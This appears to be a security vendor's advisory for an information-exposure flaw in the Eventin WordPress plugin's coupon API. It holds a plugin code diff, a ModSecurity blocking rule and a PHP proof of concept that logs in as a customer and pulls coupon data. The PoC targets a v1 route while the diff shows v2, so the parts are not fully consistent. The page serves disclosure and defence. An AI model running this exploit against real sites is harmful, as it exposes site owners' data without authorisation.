         // Normalize any "digits + separator + digits" shape (e.g. "6h45", "6.45", "6 45") to "06:45".
-        if ( $time && preg_match( '/^(d{1,2})D+(d{1,2})/', $time, $m ) ) {
+        // Skip 12-hour strings ("8:00 pm"): rewriting them here would discard the
+        // am/pm marker and silently schedule every afternoon event 12 hours early.
+        if ( $time && ! preg_match( '/[ap].?m.?$/i', $time ) && preg_match( '/^(d{1,2})D+(d{1,2})/', $time, $m ) ) {
             $time = sprintf( '%02d:%02d', (int) $m[1], (int) $m[2] );
         }

--- a/wp-event-solution/core/Admin/Menu.php
+++ b/wp-event-solution/core/Admin/Menu.php
@@ -149,6 +149,13 @@
             ];
         }

+        $this->submenus[] = [
+            'title'      => __( 'Coupons', 'eventin' ),
+            'capability' => 'etn_manage_coupon',
+            'url'        => 'admin.php?page=' . $this->menu_slug . '#/coupons',
+            'position'   => 5,
+        ];
+
         if ( ! class_exists( 'Wpeventin_Pro' ) ) {
             $this->submenus[] = [
                 'title'      => __( 'Free vs Pro', 'eventin' ),
--- a/wp-event-solution/core/Admin/hooks.php
+++ b/wp-event-solution/core/Admin/hooks.php
@@ -15,8 +15,10 @@
 use EtnTraitsSingleton;
 use EventinAttendeeHooks as AttendeeHooks;
 use EventinIntegrationsZoomZoomCredential;
+use EventinSupportDbLock;
 use EventinTemplateCPT;
 use EventinTemplateDefaultTemplate;
+use EventinUpgradeSchema;
 use EventinUpgradeUpgrade;
 use EventinUpgradeUpgradersV_4_0_8;
 use EventinUtilsUtilityPackages;
@@ -326,13 +328,32 @@
      * @return  void
      */
     public function do_upgrade() {
+        // Outside the version gate below, which only fires when the running version
+        // exceeds the stored marker. Sites whose marker is already current but whose
+        // tables were never created — fresh installs before the schema installer
+        // existed — would otherwise stay broken forever. Costs one autoloaded option
+        // read once the schema is present.
+        Schema::install_if_needed();
+
         $db_migration    = get_option( 'etn_db_migration' );
         $current_version = Wpeventin::version();

         if ( ! $db_migration || version_compare( $current_version, $db_migration, '>' ) ) {
-
-            Upgrade::register();
-            update_option( 'etn_db_migration', $current_version, true );
+            // This runs on `admin_init`, which admin-ajax.php fires too, so a single
+            // admin page load re-enters it once per background AJAX request. The
+            // etn_db_migration marker below is only written once the upgraders finish,
+            // so without this lock every one of those requests runs the whole chain
+            // concurrently and slow upgraders execute several times over.
+            if ( ! DbLock::acquire( 'etn_upgrade_lock' ) ) {
+                return;
+            }
+
+            try {
+                Upgrade::register();
+                update_option( 'etn_db_migration', $current_version, true );
+            } finally {
+                DbLock::release( 'etn_upgrade_lock' );
+            }
         }
     }

--- a/wp-event-solution/core/Attendee/Api/AttendeeController.php
+++ b/wp-event-solution/core/Attendee/Api/AttendeeController.php
@@ -332,6 +332,11 @@
                 $currency_cache[ $order_id ] = [
                     'currency'        => get_post_meta( $order_id, 'currency', true ),
                     'currency_symbol' => get_post_meta( $order_id, 'currency_symbol', true ),
+                    // Order-level coupon so the attendee preview can note it (the
+                    // per-ticket price shown is the gross sticker; the coupon discount
+                    // applies to the order total).
+                    'coupon_code'     => get_post_meta( $order_id, 'coupon_code', true ),
+                    'discount_total'  => get_post_meta( $order_id, 'discount_total', true ),
                 ];
             }
             $cached_currency              = $order_id ? ( $currency_cache[ $order_id ] ?? [] ) : [];
@@ -339,6 +344,8 @@
             $post_data['currency_symbol'] = ! empty( $cached_currency['currency_symbol'] )
                 ? html_entity_decode( $cached_currency['currency_symbol'], ENT_QUOTES, 'UTF-8' )
                 : html_entity_decode( etn_currency_symbol() );
+            $post_data['coupon_code']     = ! empty( $cached_currency['coupon_code'] ) ? $cached_currency['coupon_code'] : '';
+            $post_data['discount_total']  = ! empty( $cached_currency['discount_total'] ) ? (float) $cached_currency['discount_total'] : 0;

             $attendees[] = $this->prepare_response_for_collection( $post_data );
         }
@@ -675,6 +682,10 @@
         $event_id = !empty($data['etn_event_id']) ? $data['etn_event_id'] : 0;
         $data['extra_fields'] = $item->get_extra_fields();
         $data['extra_fields_files'] = $item->get_extra_field_files();
+        // Stored keys are ASCII slugs, so non-Latin labels (Arabic, Bengali, …)
+        // collapse to `_2` and can't be humanized client-side. Ship the schema
+        // labels alongside the values.
+        $data['extra_fields_labels'] = $item->get_extra_field_labels();
         $data['scanner_update_time'] = $item->get_scanner_update_time();
         $data['event_extra_field'] = get_post_meta( $event_id, 'attendee_extra_fields', true );

@@ -967,13 +978,60 @@

         $attendee = new Attendee_Model( $id );
         $event    = new Event_Model( $attendee->etn_event_id );
-        $from      = etn_get_email_settings( 'purchase_email' )['from'];

         if ( ! is_email( $attendee->etn_email ) ) {
             return new WP_Error( 'email_error', __( 'The attendee doesn't have valid email', 'eventin' ) );
         }

-        Mail::to( $attendee->etn_email )->from( $from )->send( new AttendeeOrderEmail( $event, $attendee ) );
+        // A resend has to use whichever delivery system a real purchase would use —
+        // mirroring OrderEmailTrait::send_email(). Sending directly regardless of the
+        // module made every resent ticket carry the legacy purchase_email
+        // subject/body/from even when the admin had moved the ticket email into an
+        // "Event Ticket Purchase" automation flow.
+        $etn_addons_options      = get_option( 'etn_addons_options' );
+        $is_automation_module_on = is_array( $etn_addons_options ) && ( $etn_addons_options['automation'] ?? 'off' ) === 'on';
+
+        if ( ! $is_automation_module_on ) {
+            $from = etn_get_email_settings( 'purchase_email' )['from'];
+
+            Mail::to( $attendee->etn_email )->from( $from )->send( new AttendeeOrderEmail( $event, $attendee ) );
+
+            return rest_ensure_response( [
+                'message' => __( 'Successfully send ticket email', 'eventin' ),
+            ] );
+        }
+
+        $date_format = get_option( 'date_format' );
+
+        try {
+            $event_start_date_timestamp = ( new DateTime( $event->get_start_date(), wp_timezone() ) )->getTimestamp();
+        } catch ( Exception $e ) {
+            $event_start_date_timestamp = 0;
+        }
+
+        // Payload mirrors OrderEmailTrait::send_email_to_attendee_through_automation()
+        // so the flow resolves the same trigger variables it would on a real purchase.
+        // Only `attendee_email` is carried: FlowManager skips any email node whose
+        // receiverType key is absent from the payload, so this cannot re-notify the
+        // customer or the admin. attendee_id/attendee_email stay index-aligned because
+        // EnsHooks resolves the per-recipient attendee via $action_data['attendee_id'][$count].
+        // A fresh session_id keeps the node's processed_session_ids list from
+        // suppressing the resend as an already-handled purchase.
+        do_action( 'global_notification_hook', 'event_ticket_purchase', [
+            'site_name'              => get_bloginfo( 'name' ),
+            'site_link'              => get_site_url(),
+            'site_logo'              => get_site_icon_url(),
+            'event_title'            => $event->get_title(),
+            'event_date'             => $event->get_start_date( $date_format ),
+            'event_date_timestamp'   => $event_start_date_timestamp,
+            'event_time'             => $event->get_start_time( etn_time_format() ),
+            'booking_time_timestamp' => current_time( 'timestamp' ),
+            'event_location'         => $event->get_address(),
+            'attendee_id'            => [ $attendee->id ],
+            'attendee_email'         => [ $attendee->etn_email ],
+            'event_id'               => $event->id,
+            'session_id'             => uniqid(),
+        ] );

         $response = [
             'message'   => __( 'Successfully send ticket email', 'eventin' ),
@@ -1095,10 +1153,10 @@
             'site_link'                  => get_site_url(),
             'event_title'                => $event->get_title(),
             'event_date'                 => $event->get_end_date( $date_format ),
-            'event_time'                 => $event->get_end_time(),
+            'event_time'                 => $event->get_end_time( etn_time_format() ),
             // Both timestamps so the flow's delay node can key off event start OR end.
-            'event_start_date_timestamp' => $this->get_event_date_timestamp( $event->get_start_date(), $event->get_start_time() ),
-            'event_end_date_timestamp'   => $this->get_event_date_timestamp( $event->get_end_date(), $event->get_end_time() ),
+            'event_start_date_timestamp' => $this->get_event_date_timestamp( $event->get_start_date(), $event->get_start_time( 'H:i' ) ),
+            'event_end_date_timestamp'   => $this->get_event_date_timestamp( $event->get_end_date(), $event->get_end_time( 'H:i' ) ),
             'event_location'             => $event->get_address(),
             'attendee_id'                => [ $attendee->id ],
             'attendee_email'             => [ $attendee->etn_email ],
@@ -1128,7 +1186,9 @@
         $time = is_string( $time ) ? trim( $time ) : '';

         // Normalize any "digits + separator + digits" shape (e.g. "6h45", "6.45", "6 45") to "06:45".
-        if ( $time && preg_match( '/^(d{1,2})D+(d{1,2})/', $time, $m ) ) {
+        // Skip 12-hour strings ("8:00 pm"): rewriting them here would discard the
+        // am/pm marker and silently schedule every afternoon event 12 hours early.
+        if ( $time && ! preg_match( '/[ap].?m.?$/i', $time ) && preg_match( '/^(d{1,2})D+(d{1,2})/', $time, $m ) ) {
             $time = sprintf( '%02d:%02d', (int) $m[1], (int) $m[2] );
         }

--- a/wp-event-solution/core/Attendee/attendee-model.php
+++ b/wp-event-solution/core/Attendee/attendee-model.php
@@ -10,6 +10,7 @@
 defined( 'ABSPATH' ) || exit;

 use EtnBasePost_Model;
+use EventinExtraFieldsLabelResolver;
 use function clierr;

 /**
@@ -214,11 +215,20 @@
      * @return string
      */
     private function label_to_slug( $label ) {
-        $slug = mb_strtolower( trim( (string) $label ) );
-        $slug = preg_replace( '/p{Z}+/u', ' ', $slug );
-        $slug = preg_replace( '/[^a-z0-9 _]/', '', $slug );
-        $slug = preg_replace( '/[ _]+/', '_', $slug );
-        return trim( $slug, '_' );
+        return LabelResolver::slug( $label );
+    }
+
+    /**
+     * Map stored extra-field keys back to their schema labels.
+     *
+     * Needed because the stored key is an ASCII-only slug of the label, so any
+     * non-Latin label (Arabic, Bengali, …) collapses to an empty slug and the
+     * key degrades to `_2` — the label is unrecoverable from the key alone.
+     *
+     * @return  array<string, string>  Key (no meta prefix) => label.
+     */
+    public function get_extra_field_labels() {
+        return LabelResolver::build_map( $this->get_extra_fields_schema() );
     }

     /**
@@ -241,14 +251,30 @@
                 continue;
             }

-            $field_id  = ! empty( $row['id'] ) ? $row['id'] : ( $idx + 1 );
-            $slug      = $this->label_to_slug( $row['label'] ?? '' );
-            $field_key = $slug . '_' . $field_id;
-
-            $att_id = isset( $extras[ $field_key ] ) ? $extras[ $field_key ] : '';
-            // Backward-compat: legacy entries stored without the _{id} suffix.
-            if ( '' === $att_id || null === $att_id ) {
-                $att_id = isset( $extras[ $slug ] ) ? $extras[ $slug ] : '';
+            $slug = $this->label_to_slug( $row['label'] ?? '' );
+
+            // Candidate key spellings, most specific first. The frontend writes
+            // `item?.id || index` (0-based), so a schema row with no id lands on
+            // `_{idx}`, not `_{idx+1}` — try both, then the legacy suffix-less key.
+            $candidates = [];
+
+            if ( ! empty( $row['id'] ) ) {
+                $candidates[] = $slug . '_' . $row['id'];
+            }
+
+            $candidates[] = $slug . '_' . $idx;
+            $candidates[] = $slug . '_' . ( $idx + 1 );
+            $candidates[] = $slug;
+
+            $field_key = $candidates[0];
+            $att_id    = '';
+
+            foreach ( $candidates as $candidate ) {
+                if ( isset( $extras[ $candidate ] ) && '' !== $extras[ $candidate ] && null !== $extras[ $candidate ] ) {
+                    $field_key = $candidate;
+                    $att_id    = $extras[ $candidate ];
+                    break;
+                }
             }

             if ( '' === $att_id || ! is_numeric( $att_id ) ) {
@@ -380,9 +406,12 @@
         );

         if ( ! empty( $extra_fields ) ) {
+            $label_map = $this->get_extra_field_labels();
+
             foreach ( $extra_fields as $key => $field ) {
-                // Format label: replace underscores with spaces and capitalize each word.
-                $label = ucwords( str_replace( '_', ' ', $key ) );
+                // Resolve the label from the field schema. Reconstructing it from the
+                // key drops non-Latin labels entirely (Arabic slugs to '', leaving '_2').
+                $label = LabelResolver::label( $key, $label_map );

                 $label = apply_filters( 'eventin_attendee_extra_field_label', $label, $key, $this );
                 $value = $this->render_extra_field_value( $key, $field, $files );
@@ -436,10 +465,11 @@
     public function get_extra_fields_inline() {
         $extra_fields = $this->get_extra_fields();
         $files        = $this->get_extra_field_files();
+        $label_map    = $this->get_extra_field_labels();
         $parts        = [];

         foreach ( $extra_fields as $key => $field ) {
-            $label = ucwords( str_replace( '_', ' ', $key ) );
+            $label = LabelResolver::label( $key, $label_map );

             if ( isset( $files[ $key ] ) ) {
                 $value = $files[ $key ]['url'];
--- a/wp-event-solution/core/Blocks/BlockTypes/EventSocial.php
+++ b/wp-event-solution/core/Blocks/BlockTypes/EventSocial.php
@@ -41,13 +41,33 @@

             if ($this->is_editor()) {
                 $event_id = ! empty($attributes['eventId']) ? intval($attributes['eventId']) : 0;
+
+                if ($event_id == 0) {
+                    $template = new EventinTemplateTemplateModel(get_the_ID());
+                    $event_id = $template->get_preview_event_id();
+                }
+            } elseif ('etn-template' == get_post_type(get_the_ID())) {
+                $template = new EventinTemplateTemplateModel(get_the_ID());
+                $event_id = $template->get_preview_event_id();
             } else {
                 $event_id = get_the_ID();
             }

             $event = new Event_Model($event_id);

-            $event_socials = $event->get_social();
+            $event_socials = etn_get_valid_event_socials( $event->get_social() );
+
+            // Nothing to share — render nothing on the frontend, and a hint in the
+            // editor so the block stays selectable. Matches EventDescription's guard.
+            if ( empty( $event_socials ) ) {
+                if ( $this->is_editor() ) {
+                    return '<div style="padding:16px;border:1px dashed #ccc;color:#888;">'
+                        . esc_html__( 'Event Social: no social links set for this event.', 'eventin' )
+                        . '</div>';
+                }
+
+                return '';
+            }

             ob_start();
         ?>
--- a/wp-event-solution/core/Coupon/Api/CouponController.php
+++ b/wp-event-solution/core/Coupon/Api/CouponController.php
@@ -0,0 +1,428 @@
+<?php
+/**
+ * Coupon Api Class
+ *
+ * @package EventinCoupon
+ */
+
+namespace EventinCouponApi;
+
+defined( 'ABSPATH' ) || exit;
+
+use EventinCouponCouponModel;
+use EventinCouponRedemptionModel;
+use EventinCouponCouponValidator;
+use WP_Error;
+use WP_REST_Controller;
+use WP_REST_Server;
+
+/**
+ * Coupon Controller Class
+ *
+ * eventin/v2/coupons — admin CRUD + a guest-open /validate route for checkout.
+ */
+class CouponController extends WP_REST_Controller {
+    /**
+     * Coupon repository.
+     *
+     * @var CouponModel
+     */
+    private $model;
+
+    /**
+     * Redemption repository.
+     *
+     * @var RedemptionModel
+     */
+    private $redemptions;
+
+    /**
+     * Constructor.
+     */
+    public function __construct() {
+        $this->namespace   = 'eventin/v2';
+        $this->rest_base   = 'coupons';
+        $this->model       = new CouponModel();
+        $this->redemptions = new RedemptionModel();
+    }
+
+    /**
+     * Register routes.
+     *
+     * @return void
+     */
+    public function register_routes() {
+        // Collection: GET list, POST create, DELETE bulk.
+        register_rest_route( $this->namespace, '/' . $this->rest_base, [
+            [
+                'methods'             => WP_REST_Server::READABLE,
+                'callback'            => [ $this, 'get_items' ],
+                'permission_callback' => [ $this, 'get_items_permissions_check' ],
+            ],
+            [
+                'methods'             => WP_REST_Server::CREATABLE,
+                'callback'            => [ $this, 'create_item' ],
+                'permission_callback' => [ $this, 'create_item_permissions_check' ],
+            ],
+            [
+                'methods'             => WP_REST_Server::DELETABLE,
+                'callback'            => [ $this, 'delete_items' ],
+                'permission_callback' => [ $this, 'delete_item_permissions_check' ],
+            ],
+        ] );
+
+        // Guest-open checkout validation. Registered before the /(?P<id>) route.
+        register_rest_route( $this->namespace, '/' . $this->rest_base . '/validate', [
+            [
+                'methods'             => WP_REST_Server::CREATABLE,
+                'callback'            => [ $this, 'validate_item' ],
+                'permission_callback' => [ $this, 'validate_permissions_check' ],
+            ],
+        ] );
+
+        // Guest-open: does any coupon apply to this event? Gates the checkout field.
+        register_rest_route( $this->namespace, '/' . $this->rest_base . '/available', [
+            [
+                'methods'             => WP_REST_Server::READABLE,
+                'callback'            => [ $this, 'available' ],
+                'permission_callback' => [ $this, 'validate_permissions_check' ],
+            ],
+        ] );
+
+        // Single: GET, PUT, DELETE.
+        register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[d]+)', [
+            'args' => [
+                'id' => [
+                    'description' => __( 'Unique identifier for the coupon.', 'eventin' ),
+                    'type'        => 'integer',
+                ],
+            ],
+            [
+                'methods'             => WP_REST_Server::READABLE,
+                'callback'            => [ $this, 'get_item' ],
+                'permission_callback' => [ $this, 'get_item_permissions_check' ],
+            ],
+            [
+                'methods'             => WP_REST_Server::EDITABLE,
+                'callback'            => [ $this, 'update_item' ],
+                'permission_callback' => [ $this, 'update_item_permissions_check' ],
+            ],
+            [
+                'methods'             => WP_REST_Server::DELETABLE,
+                'callback'            => [ $this, 'delete_item' ],
+                'permission_callback' => [ $this, 'delete_item_permissions_check' ],
+            ],
+        ] );
+
+        // Redemptions drill-in.
+        register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[d]+)/redemptions', [
+            [
+                'methods'             => WP_REST_Server::READABLE,
+                'callback'            => [ $this, 'get_redemptions' ],
+                'permission_callback' => [ $this, 'get_item_permissions_check' ],
+            ],
+        ] );
+    }
+
+    /**
+     * Get a collection of coupons.
+     *
+     * @param WP_REST_Request $request Request.
+     * @return WP_REST_Response
+     */
+    public function get_items( $request ) {
+        $args = [
+            'search'    => ! empty( $request['search'] ) ? sanitize_text_field( $request['search'] ) : '',
+            'status'    => ! empty( $request['status'] ) ? sanitize_text_field( $request['status'] ) : '',
+            'date_from' => ! empty( $request['date_from'] ) ? sanitize_text_field( $request['date_from'] ) : '',
+            'date_to'   => ! empty( $request['date_to'] ) ? sanitize_text_field( $request['date_to'] ) : '',
+            'paged'     => ! empty( $request['paged'] ) ? intval( $request['paged'] ) : 1,
+            'per_page'  => ! empty( $request['per_page'] ) ? intval( $request['per_page'] ) : 10,
+        ];
+
+        $result   = $this->model->query( $args );
+        $response = rest_ensure_response( $result );
+        $response->header( 'X-WP-Total', $result['total_items'] );
+
+        return $response;
+    }
+
+    /**
+     * Get a single coupon.
+     *
+     * @param WP_REST_Request $request Request.
+     * @return WP_REST_Response|WP_Error
+     */
+    public function get_item( $request ) {
+        $coupon = $this->model->find( intval( $request['id'] ) );
+
+        if ( ! $coupon ) {
+            return new WP_Error( 'not_found', __( 'Coupon not found.', 'eventin' ), [ 'status' => 404 ] );
+        }
+
+        return rest_ensure_response( $coupon );
+    }
+
+    /**
+     * Create a coupon.
+     *
+     * @param WP_REST_Request $request Request.
+     * @return WP_REST_Response|WP_Error
+     */
+    public function create_item( $request ) {
+        $data   = $this->prepare_item_for_database( $request );
+        $coupon = $this->model->create( $data );
+
+        if ( is_wp_error( $coupon ) ) {
+            return $coupon;
+        }
+
+        $response = rest_ensure_response( $coupon );
+        $response->set_status( 201 );
+
+        return $response;
+    }
+
+    /**
+     * Update a coupon.
+     *
+     * @param WP_REST_Request $request Request.
+     * @return WP_REST_Response|WP_Error
+     */
+    public function update_item( $request ) {
+        $data   = $this->prepare_item_for_database( $request );
+        $coupon = $this->model->update( intval( $request['id'] ), $data );
+
+        if ( is_wp_error( $coupon ) ) {
+            return $coupon;
+        }
+
+        return rest_ensure_response( $coupon );
+    }
+
+    /**
+     * Delete a coupon.
+     *
+     * @param WP_REST_Request $request Request.
+     * @return WP_REST_Response|WP_Error
+     */
+    public function delete_item( $request ) {
+        $deleted = $this->model->delete( intval( $request['id'] ) );
+
+        if ( ! $deleted ) {
+            return new WP_Error( 'rest_cannot_delete', __( 'The coupon cannot be deleted.', 'eventin' ), [ 'status' => 500 ] );
+        }
+
+        return rest_ensure_response( [ 'deleted' => true ] );
+    }
+
+    /**
+     * Bulk delete coupons (?ids=1,2,3).
+     *
+     * @param WP_REST_Request $request Request.
+     * @return WP_REST_Response|WP_Error
+     */
+    public function delete_items( $request ) {
+        $ids = ! empty( $request['ids'] ) ? $request['ids'] : '';
+
+        if ( is_string( $ids ) ) {
+            $ids = array_filter( array_map( 'trim', explode( ',', $ids ) ) );
+        }
+
+        $ids = array_map( 'intval', (array) $ids );
+
+        if ( ! $ids ) {
+            return new WP_Error( 'rest_cannot_delete', __( 'Coupon ids cannot be empty.', 'eventin' ), [ 'status' => 400 ] );
+        }
+
+        $this->model->delete_many( $ids );
+
+        return rest_ensure_response( [ 'deleted' => true ] );
+    }
+
+    /**
+     * Get paginated redemptions for a coupon.
+     *
+     * @param WP_REST_Request $request Request.
+     * @return WP_REST_Response
+     */
+    public function get_redemptions( $request ) {
+        $paged    = ! empty( $request['paged'] ) ? intval( $request['paged'] ) : 1;
+        $per_page = ! empty( $request['per_page'] ) ? intval( $request['per_page'] ) : 10;
+
+        $result   = $this->redemptions->paginate( intval( $request['id'] ), $paged, $per_page );
+        $response = rest_ensure_response( $result );
+        $response->header( 'X-WP-Total', $result['total_items'] );
+
+        return $response;
+    }
+
+    /**
+     * Validate a coupon for checkout (guest-open).
+     *
+     * @param WP_REST_Request $request Request.
+     * @return WP_REST_Response
+     */
+    public function validate_item( $request ) {
+        $input = json_decode( $request->get_body(), true );
+        $input = is_array( $input ) ? $input : [];
+
+        $payload = [
+            'code'        => isset( $input['code'] ) ? sanitize_text_field( $input['code'] ) : '',
+            'event_id'    => isset( $input['event_id'] ) ? intval( $input['event_id'] ) : 0,
+            'subtotal'    => isset( $input['subtotal'] ) ? floatval( $input['subtotal'] ) : 0,
+            'buyer_email' => isset( $input['buyer_email'] ) ? sanitize_email( $input['buyer_email'] ) : '',
+            'cart'        => [],
+        ];
+
+        // Authoritative per-ticket prices from the event (never trust client prices) —
+        // needed so a ticket-restricted coupon discounts only the eligible lines.
+        $event = $payload['event_id'] ? new EtnCoreEventEvent_Model( $payload['event_id'] ) : null;
+
+        if ( isset( $input['cart'] ) && is_array( $input['cart'] ) ) {
+            foreach ( $input['cart'] as $line ) {
+                $ticket_id = isset( $line['ticket_id'] ) ? sanitize_text_field( $line['ticket_id'] ) : '';
+                $ticket    = $event && $ticket_id ? $event->get_ticket( $ticket_id ) : null;
+
+                $payload['cart'][] = [
+                    'ticket_id' => $ticket_id,
+                    'qty'       => isset( $line['qty'] ) ? intval( $line['qty'] ) : 0,
+                    'price'     => $ticket && isset( $ticket['etn_ticket_price'] ) ? floatval( $ticket['etn_ticket_price'] ) : 0,
+                ];
+            }
+        }
+
+        $validator = new CouponValidator( $this->model, $this->redemptions );
+        $result    = $validator->validate( $payload );
+
+        // Don't expose the internal coupon id, or the terms the discount was computed
+        // under, over the guest-open endpoint. Those exist so the ORDER can freeze
+        // them for refund apportionment (OrderController::apply_coupon), and the

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-28174
SecRule REQUEST_URI "@beginsWith /wp-json/eventin/v1/coupons" 
  "id:20262817,phase:2,deny,status:403,msg:'CVE-2026-28174 via Event SOlution Coupon API',severity:'CRITICAL',tag:'CVE-2026-28174'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-28174 - Event SOlution <= 4.1.18 - Authenticated (Customer+) Information Exposure

$target_url = 'http://example.com'; // Configure your target WordPress site
$username = 'customer'; // A valid customer-level username
$password = 'password'; // The password for that user

// Step 1: Authenticate to obtain a nonce and cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Extract the REST nonce from the admin page (or from the frontend if customer has access)
$admin_url = $target_url . '/wp-admin/admin-ajax.php?action=rest-nonce';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$nonce_response = curl_exec($ch);
curl_close($ch);
$nonce = trim($nonce_response);

// Step 3: Access the vulnerable coupon endpoint
$api_url = $target_url . '/wp-json/eventin/v1/coupons';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'X-WP-Nonce: ' . $nonce
]);
$data = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "[+] Successfully retrieved coupon data:n";
    echo $data;
} else {
    echo "[-] Failed to retrieve data. HTTP code: $http_coden";
    echo $data;
}

// Clean up
unlink('cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.